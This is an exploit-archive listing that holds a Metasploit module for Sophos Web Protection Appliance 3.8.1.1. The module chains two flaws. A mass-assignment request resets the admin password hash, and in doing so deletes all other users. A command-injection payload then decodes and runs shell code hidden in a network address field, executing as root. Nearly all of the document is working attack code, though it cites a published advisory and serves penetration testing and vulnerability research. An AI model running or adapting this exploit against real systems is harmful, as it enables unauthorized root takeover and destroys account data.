Sophos Web Protection Appliance Command Execution

2014-04-09T00:00:00
ID PACKETSTORM:126099
Type packetstorm
Reporter Brandon Perry
Modified 2014-04-09T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution',  
'Description' => %q{  
This module takes advantage of two vulnerabilities in order to gain remote code execution as root  
as an otherwise non-privileged authorized user. By taking advantage of a mass assignment  
vulnerability that allows an unprivileged authenticated user to change the admininistrator's  
password hash, the module updates the password to login as the admin to reach the second vulnerability.  
No server-side sanitization is done on values passed when configuring a static network interface.  
This allows an administrator user to run arbitrary commands in the context of the web application,  
which is root when configuring the network interface. This module will inadvertently delete  
any other users that may have been present as a side effect of changing the admin's password.  
},  
'Author' =>  
[  
'Brandon Perry <bperry.volatile@gmail.com>' # discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-069/']  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 500,  
'DisableNops' => true,  
'BadChars' => "", #base64 encryption ftw!  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic telnet'  
}  
},  
'Targets' =>  
[  
[ 'Sophos Web Protection Appliance 3.8.1.1', { }]  
],  
'DefaultOptions' =>  
{  
'SSL' => true  
},  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 8 2014'  
))  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),  
OptString.new('PASSWORD', [true, 'The password to authenticate with', nil]),  
OptString.new('TARGETURI', [true, 'The target URI', '/']),  
Opt::RPORT(443)  
],  
self.class  
)  
end  
  
def exploit  
init = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php')  
})  
  
if !init or !init.body  
fail_with("Could not connect to host")  
end  
  
print_status("Getting STYLE key...")  
  
style = ''  
init.body.each_line do |line|  
next if line !~ /name="STYLE" value="(.*)"/  
style = $1  
end  
  
if style == ''  
fail_with("Could not find style key.")  
end  
  
post = {  
'STYLE' => style,  
'destination' => '',  
'section' => '',  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
  
print_status("Authenticating as " + datastore['USERNAME'])  
login = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/index.php?c=login'),  
'method' => 'POST',  
'vars_post' => post  
})  
  
if !login or login.code != 200 or login.body !~ /#{datastore['USERNAME']}<\/a>/  
fail_with("Authentication failed")  
end  
  
#I don't know what salt is being used to hash these  
#passwords (probably in js somewhere), so I have  
#to use a static one that I saw being POSTed while  
#exploring, it is 'notpassword'.  
#  
#This will actually delete every other user that exists  
#except for admin, whose password will be changed  
#  
#whoops  
admin_hash = '[{"id": "default_admin", "username": "admin", "name": "Default Administrator"'  
admin_hash << ', "password": "70ec23d3e019a307081732c0162b2733", "description": "Default '  
admin_hash << 'Administrator Account", "admin": true, "roles": ["admin"], "reporting_groups"'  
admin_hash << ': [], "user_id": 0}]'  
  
post = {  
'action' => 'save',  
'STYLE' => style,  
'username' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['USERNAME'])),  
'current' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),  
'new' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),  
'admins' => admin_hash  
}  
  
print_status("Changing old password hash to notpassword")  
passchange = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/index.php?c=change_password'),  
'method' => 'POST',  
'vars_post' => post  
})  
  
if !passchange or passchange.code != 200  
fail_with("Couldn't update admin's password")  
end  
  
print_status("Logging in as the admin now")  
init = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php')  
})  
  
if !init or init.code != 200  
fail_with("Couldn't reget index page for admin auth")  
end  
  
init.body.each_line do |line|  
next if line !~ /name="STYLE" value="(.*)"/  
style = $1  
end  
  
post = {  
'STYLE' => style,  
'destination' => '',  
'section' => '',  
'username' => 'admin',  
'password' => 'notpassword'  
}  
  
login = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php?c=login'),  
'method' => 'POST',  
'vars_post' => post  
})  
  
if !login or login.code != 200 or login.body !~ /admin<\/a>/  
fail_with("Couldn't login as admin")  
end  
  
pay = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded))  
post = {  
'STYLE' => style,  
'dhcp' => 'no',  
'address' => "192.16`echo #{pay}|base64 --decode|sh`8.1.16",  
'gateway' => '192.168.1.254',  
'sb_bridge' => 'explicit',  
'netmask' => '255.255.255.0',  
'sb_linktype' => 'auto',  
'dns' => 'yes',  
'dns1' => '192.168.1.254',  
'dns2' => '',  
'dns3' => ''  
}  
  
print_status("Sending payload")  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php?c=netinterface'),  
'method' => 'POST',  
'vars_post' => post,  
})  
end  
end  
`